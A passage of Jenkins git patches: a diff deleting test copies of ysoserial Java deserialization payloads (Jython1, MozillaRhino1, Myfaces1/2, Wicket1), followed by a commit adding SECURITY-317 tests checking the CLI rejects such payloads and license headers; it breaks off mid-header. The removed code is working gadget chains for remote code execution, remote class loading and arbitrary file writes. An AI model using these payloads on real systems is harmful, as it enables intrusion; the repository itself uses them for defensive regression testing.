- "7C0000" + //15 LOAD_FAST 0 (file) - "690100" + //18 LOAD_ATTR 1 (write) - "640300" + //21 LOAD_CONST 3 (python code) - "830100" + //24 CALL_FUNCTION 1 - "01" + //27 POP_TOP - - "7C0000" + //28 LOAD_FAST 0 (file) - "690200" + //31 LOAD_ATTR 2 (close) - "830000" + //34 CALL_FUNCTION 0 - "01" + //37 POP_TOP - - "740300" + //38 LOAD_GLOBAL 3 (execfile) - "640100" + //41 LOAD_CONST 1 (remote path) - "830100" + //44 CALL_FUNCTION 1 - "01" + //47 POP_TOP - "640000" + //48 LOAD_CONST 0 (None) - "53"; //51 RETURN_VALUE - - // Helping consts and names - PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; - String[] names = new String[]{"open", "write", "close", "execfile"}; - - // Generating PyBytecode wrapper for our python bytecode - PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "", 0, ""); - Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); - - // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method - PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); - - // Prepare Trigger Gadget - Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); - PriorityQueue priorityQueue = new PriorityQueue(2, comparator); - Object[] queue = new Object[] {1,1}; - Reflections.setFieldValue(priorityQueue, "queue", queue); - Reflections.setFieldValue(priorityQueue, "size", 2); - - return priorityQueue; - } - - public static void main(final String[] args) throws Exception { - PayloadRunner.run(Jython1.class, args); - } -} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java deleted file mode 100644 index 3964adc6e8..0000000000 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java +++ /dev/null @@ -1,66 +0,0 @@ -package jenkins.security.security218.ysoserial.payloads; - -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; -import org.mozilla.javascript.*; -import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; -import jenkins.security.security218.ysoserial.payloads.util.Gadgets; -import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; - -import javax.management.BadAttributeValueExpException; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.lang.reflect.Method; - -/* - by @matthias_kaiser -*/ -@SuppressWarnings({"rawtypes", "unchecked"}) -@Dependencies({"rhino:js:1.7R2"}) -public class MozillaRhino1 implements ObjectPayload { - - public Object getObject(final String command) throws Exception { - - Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); - Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); - nativeErrorConstructor.setAccessible(true); - IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); - - Context context = Context.enter(); - - NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); - - Method enterMethod = Context.class.getDeclaredMethod("enter"); - NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); - idScriptableObject.setGetterOrSetter("name", 0, method, false); - - Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); - NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); - idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); - - Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); - getSlot.setAccessible(true); - Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); - Field getter = slot.getClass().getDeclaredField("getter"); - getter.setAccessible(true); - - Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); - Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); - memberboxClassConstructor.setAccessible(true); - Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); - getter.set(slot, memberboxes); - - NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class); - idScriptableObject.setPrototype(nativeObject); - - BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); - Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); - valField.setAccessible(true); - valField.set(badAttributeValueExpException, idScriptableObject); - - return badAttributeValueExpException; - } - - public static void main(final String[] args) throws Exception { - PayloadRunner.run(MozillaRhino1.class, args); - } -} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java deleted file mode 100644 index 976c5173d2..0000000000 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java +++ /dev/null @@ -1,92 +0,0 @@ -package jenkins.security.security218.ysoserial.payloads; - - - -import javax.el.ELContext; -import javax.el.ExpressionFactory; -import javax.el.ValueExpression; -import javax.servlet.ServletContext; -import javax.servlet.ServletRequest; -import javax.servlet.ServletResponse; - -import org.apache.myfaces.context.servlet.FacesContextImpl; -import org.apache.myfaces.context.servlet.FacesContextImplBase; -import org.apache.myfaces.el.CompositeELResolver; -import org.apache.myfaces.el.unified.FacesELContext; -import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; - -import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; -import jenkins.security.security218.ysoserial.payloads.util.Gadgets; -import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; -import jenkins.security.security218.ysoserial.payloads.util.Reflections; - - -/** - * - * ValueExpressionImpl.getValue(ELContext) - * ValueExpressionMethodExpression.getMethodExpression(ELContext) - * ValueExpressionMethodExpression.getMethodExpression() - * ValueExpressionMethodExpression.hashCode() - * HashMap.hash(Object) - * HashMap.readObject(ObjectInputStream) - * - * Arguments: - * - an EL expression to execute - * - * Requires: - * - MyFaces - * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) - * - * @author mbechler - */ -@PayloadTest(skip="Requires running MyFaces, no direct execution") -public class Myfaces1 implements ObjectPayload, DynamicDependencies { - - public Object getObject ( String command ) throws Exception { - return makeExpressionPayload(command); - } - - - public static String[] getDependencies () { - if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { - return new String[] { - "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", - "org.mortbay.jasper:apache-el:8.0.27", - "javax.servlet:javax.servlet-api:3.1.0", - - // deps for mocking the FacesContext - "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" - }; - } else if ( "juel".equals(System.getProperty("el")) ) { - return new String[] { - "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", - "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", - "javax.servlet:javax.servlet-api:3.1.0", - - // deps for mocking the FacesContext - "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" - }; - } - - throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); - } - - public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception { - FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); - ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); - Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); - ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); - - ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); - ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); - ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); - ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); - - return Gadgets.makeMap(e2, e); - } - - - public static void main ( final String[] args ) throws Exception { - PayloadRunner.run(Myfaces1.class, args); - } -} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java deleted file mode 100644 index 1151493051..0000000000 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java +++ /dev/null @@ -1,64 +0,0 @@ -package jenkins.security.security218.ysoserial.payloads; - - - -import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; -import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; - - -/** - * - * ValueExpressionImpl.getValue(ELContext) - * ValueExpressionMethodExpression.getMethodExpression(ELContext) - * ValueExpressionMethodExpression.getMethodExpression() - * ValueExpressionMethodExpression.hashCode() - * HashMap.hash(Object) - * HashMap.readObject(ObjectInputStream) - * - * Arguments: - * - base_url:classname - * - * Yields: - * - Instantiation of remotely loaded class - * - * Requires: - * - MyFaces - * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) - * - * @author mbechler - */ -@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" ) -public class Myfaces2 implements ObjectPayload, DynamicDependencies { - - public static String[] getDependencies () { - return Myfaces1.getDependencies(); - } - - - public Object getObject ( String command ) throws Exception { - int sep = command.lastIndexOf(':'); - if ( sep < 0 ) { - throw new IllegalArgumentException("Command format is: :"); - } - - String url = command.substring(0, sep); - String className = command.substring(sep + 1); - - // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ - String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; - - // if we add fewer than the actual classloaders we end up with a null entry - for ( int i = 0; i < 100; i++ ) { - expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; - } - expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" - + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; - - return Myfaces1.makeExpressionPayload(expr); - } - - - public static void main ( final String[] args ) throws Exception { - PayloadRunner.run(Myfaces2.class, args); - } -} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java deleted file mode 100644 index 38b39c8671..0000000000 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java +++ /dev/null @@ -1,111 +0,0 @@ -package jenkins.security.security218.ysoserial.payloads; - - -import java.io.File; -import java.io.IOException; -import java.io.OutputStream; -import java.util.Arrays; - -import org.apache.commons.codec.binary.Base64; -import org.apache.wicket.util.upload.DiskFileItem; -import org.apache.wicket.util.io.DeferredFileOutputStream; -import org.apache.wicket.util.io.ThresholdingOutputStream; - -import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; -import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; -import jenkins.security.security218.ysoserial.payloads.util.Reflections; - - -/** - * This gadget is almost identical to FileUpload1 since it appears - * that Apache Wicket copied a version of Apache Commons DiskFileItem - * prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That - * means that if the target is running less than Oracle Java 7 update 40 - * then the NULL byte attack is viable. Otherwise, copy and move attacks - * always work. - * - * This attack is valid for the 1.x and 6.x lines of Apache Wicket but - * was fixed in 1.5.16 and 6.24.0 (released July 2016). - * - * - * Arguments: - * - copyAndDelete;sourceFile;destDir - * - write;destDir;ascii-data - * - writeB64;destDir;base64-data - * - writeOld;destFile;ascii-data - * - writeOldB64;destFile;base64-data - * - * Example: - * Wicket1 "write;/tmp;blue lobster" - * - * Result: - * $ ls -l /tmp/ - * -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp - * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp - * blue lobster - */ -@Dependencies({"wicket-util:wicket-util:6.23"}) -public class Wicket1 implements ReleaseableObjectPayload { - - public DiskFileItem getObject(String command) throws Exception { - - String[] parts = command.split(";"); - - if (parts.length != 3) { - throw new IllegalArgumentException("Bad command format."); - } - - if ("copyAndDelete".equals(parts[0])) { - return copyAndDelete(parts[1], parts[2]); - } - else if ("write".equals(parts[0])) { - return write(parts[1], parts[2].getBytes("US-ASCII")); - } - else if ("writeB64".equals(parts[0]) ) { - return write(parts[1], Base64.decodeBase64(parts[2])); - } - else if ("writeOld".equals(parts[0]) ) { - return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII")); - } - else if ("writeOldB64".equals(parts[0]) ) { - return writeOldJRE(parts[1], Base64.decodeBase64(parts[2])); - } - throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); - } - - public void release(DiskFileItem obj) throws Exception { - } - - private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { - return makePayload(0, copyTo, copyAndDelete, new byte[1]); - } - - // writes data to a random filename (update__.tmp) - private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { - return makePayload(data.length + 1, dir, dir + "/whatever", data); - } - - // writes data to an arbitrary file - private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception { - return makePayload(data.length + 1, file + "\0", file, data); - } - - private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { - // if thresh < written length, delete outputFile after copying to repository temp file - // otherwise write the contents to repository temp file - File repository = new File(repoPath); - DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null); - File outputFile = new File(filePath); - DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); - OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); - os.write(data); - Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); - Reflections.setFieldValue(diskFileItem, "dfos", dfos); - Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); - return diskFileItem; - } - - public static void main ( final String[] args ) throws Exception { - PayloadRunner.run(FileUpload1.class, args); - } -} \ No newline at end of file -- GitLab From 3ba3a3220470107fd2dc0bb648bff6388783f5ab Mon Sep 17 00:00:00 2001 From: Sam Van Oort Date: Fri, 11 Nov 2016 18:06:43 -0500 Subject: [PATCH 493/811] Add entries for the new ysoserial tests and license headers --- .../jenkins/security/Security218CliTest.java | 79 ++++++++++++++++++- .../jenkins/security/security218/Payload.java | 20 +++-- .../security218/ysoserial/Deserializer.java | 24 ++++++ .../ysoserial/GeneratePayload.java | 24 ++++++ .../security218/ysoserial/Serializer.java | 23 ++++++ .../exploit/JRMPClassLoadingListener.java | 24 ++++++ .../ysoserial/exploit/JRMPClient.java | 24 ++++++ .../ysoserial/exploit/JRMPListener.java | 24 ++++++ .../security218/ysoserial/exploit/JSF.java | 24 ++++++ .../ysoserial/exploit/JenkinsCLI.java | 24 ++++++ .../ysoserial/exploit/JenkinsListener.java | 24 ++++++ .../ysoserial/exploit/JenkinsReverse.java | 24 ++++++ .../ysoserial/exploit/RMIRegistryExploit.java | 24 ++++++ .../ysoserial/payloads/CommonsBeanutils1.java | 24 ++++++ .../payloads/CommonsCollections3.java | 24 ++++++ .../payloads/CommonsCollections4.java | 24 ++++++ .../payloads/CommonsCollections5.java | 24 ++++++ .../payloads/CommonsCollections6.java | 24 ++++++ .../payloads/DynamicDependencies.java | 23 ++++++ .../ysoserial/payloads/FileUpload1.java | 24 ++++++ .../ysoserial/payloads/JRMPClient.java | 23 ++++++ .../ysoserial/payloads/JRMPListener.java | 24 ++++++ .../security218/ysoserial/payloads/JSON1.java | 24 ++++++ .../ysoserial/payloads/Jdk7u21.java | 23 ++++++ .../payloads/ReleaseableObjectPayload.java | 24 ++++++ .../ysoserial/payloads/Spring2.java | 23 ++++++ .../payloads/annotation/Dependencies.java | 23 ++++++ .../payloads/annotation/PayloadTest.java | 23 ++++++ .../secmgr/DelegateSecurityManager.java | 24 ++++++ .../secmgr/ExecCheckingSecurityManager.java | 24 ++++++ .../secmgr/ThreadLocalSecurityManager.java | 24 ++++++ 31 files changed, 781 insertions(+), 7 deletions(-) diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index 546cdc8fde..d2dbe56a6d 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -45,7 +45,14 @@ public class Security218CliTest { @Rule public JenkinsRule r = new JenkinsRule(); - + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeCommonsBeanutils1() throws Exception { + probe(Payload.CommonsBeanutils1, PayloadCaller.EXIT_CODE_REJECTED); + } + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @Test @Issue("SECURITY-218") @@ -61,6 +68,41 @@ public class Security218CliTest { // in newer commons-collections version => remoting implementation should filter this class anyway probe(Payload.CommonsCollections2, PayloadCaller.EXIT_CODE_REJECTED); } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeCommonsCollections3() throws Exception { + probe(Payload.CommonsCollections3, PayloadCaller.EXIT_CODE_REJECTED); + } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeCommonsCollections4() throws Exception { + probe(Payload.CommonsCollections4, PayloadCaller.EXIT_CODE_REJECTED); + } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeCommonsCollections5() throws Exception { + probe(Payload.CommonsCollections5, PayloadCaller.EXIT_CODE_REJECTED); + } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeCommonsCollections6() throws Exception { + probe(Payload.CommonsCollections6, PayloadCaller.EXIT_CODE_REJECTED); + } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeFileUpload1() throws Exception { + probe(Payload.FileUpload1, PayloadCaller.EXIT_CODE_REJECTED); + } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @Test @@ -68,6 +110,34 @@ public class Security218CliTest { public void probeGroovy1() throws Exception { probe(Payload.Groovy1, PayloadCaller.EXIT_CODE_REJECTED); } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeJdk7u21() throws Exception { + probe(Payload.Jdk7u21, PayloadCaller.EXIT_CODE_REJECTED); + } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeJRMPClient() throws Exception { + probe(Payload.JRMPClient, PayloadCaller.EXIT_CODE_REJECTED); + } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeJRMPListener() throws Exception { + probe(Payload.JRMPListener, PayloadCaller.EXIT_CODE_REJECTED); + } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeJSON1() throws Exception { + probe(Payload.JSON1, PayloadCaller.EXIT_CODE_REJECTED); + } //TODO: Fix the conversion layer (not urgent) // There is an issue in the conversion layer after the migration to another XALAN namespace @@ -78,6 +148,13 @@ public class Security218CliTest { public void probeSpring1() throws Exception { probe(Payload.Spring1, -1); } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeSpring2() throws Exception { + probe(Payload.Spring2, -1); + } private void probe(Payload payload, int expectedResultCode) throws Exception { File file = File.createTempFile("security-218", payload + "-payload"); diff --git a/test/src/test/java/jenkins/security/security218/Payload.java b/test/src/test/java/jenkins/security/security218/Payload.java index 43dc97a995..ea3c30b8ac 100644 --- a/test/src/test/java/jenkins/security/security218/Payload.java +++ b/test/src/test/java/jenkins/security/security218/Payload.java @@ -23,11 +23,8 @@ */ package jenkins.security.security218; -import jenkins.security.security218.ysoserial.payloads.CommonsCollections1; -import jenkins.security.security218.ysoserial.payloads.CommonsCollections2; -import jenkins.security.security218.ysoserial.payloads.Groovy1; -import jenkins.security.security218.ysoserial.payloads.ObjectPayload; -import jenkins.security.security218.ysoserial.payloads.Spring1; +import jenkins.security.security218.ysoserial.payloads.*; +import net.sf.json.JSON; /** @@ -35,10 +32,21 @@ import jenkins.security.security218.ysoserial.payloads.Spring1; * @author Oleg Nenashev */ public enum Payload { + CommonsBeanutils1(CommonsBeanutils1.class), CommonsCollections1(CommonsCollections1.class), CommonsCollections2(CommonsCollections2.class), + CommonsCollections3(CommonsCollections3.class), + CommonsCollections4(CommonsCollections4.class), + CommonsCollections5(CommonsCollections5.class), + CommonsCollections6(CommonsCollections6.class), + FileUpload1(FileUpload1.class), Groovy1(Groovy1.class), - Spring1(Spring1.class); + Jdk7u21(Jdk7u21.class), + JRMPClient(JRMPClient.class), + JRMPListener(JRMPListener.class), + JSON1(JSON1.class), + Spring1(Spring1.class), + Spring2(Spring2.class); private final Class payloadClass; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java b/test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java index 87f947d004..a74c904d79 100755 --- a/test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial; import java.io.ByteArrayInputStream; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java b/test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java index ce33b97ae3..d1716e3f7a 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial; import java.io.PrintStream; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java b/test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java index e508fa6420..f75dcc3030 100755 --- a/test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java @@ -1,3 +1,26 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ package jenkins.security.security218.ysoserial; import java.io.ByteArrayOutputStream; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java index 4e26316f26..477b66f84d 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.exploit; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java index 6e95b3691b..3b4204cca5 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.exploit; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java index 9869a0820c..43f5a0ba2f 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR 